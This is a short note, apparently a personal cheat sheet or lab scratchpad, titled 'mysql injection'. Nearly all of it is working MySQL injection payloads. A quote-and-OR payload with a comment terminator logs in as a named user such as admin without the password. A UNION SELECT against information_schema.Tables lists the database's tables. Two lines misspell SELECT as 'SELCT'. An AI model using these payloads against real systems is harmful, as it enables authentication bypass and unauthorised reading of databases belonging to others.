mysql injection qqqwww111

--Search format
SELCT ?,?,?,?,? FROM ? WHERE ? LIKE '%X%';

--Log in as X (admin, testuser)
SELECT * FROM users WHERE username='admin' AND password='
' OR username='X'#
';

--Search tables
SELCT ?,?,?,?,? FROM ? WHERE ? LIKE '%
0' UNION (SELECT TABLE_NAME, TABLE_SCHEMA, 3, 4, 5 FROM information_schema.Tables);#
%';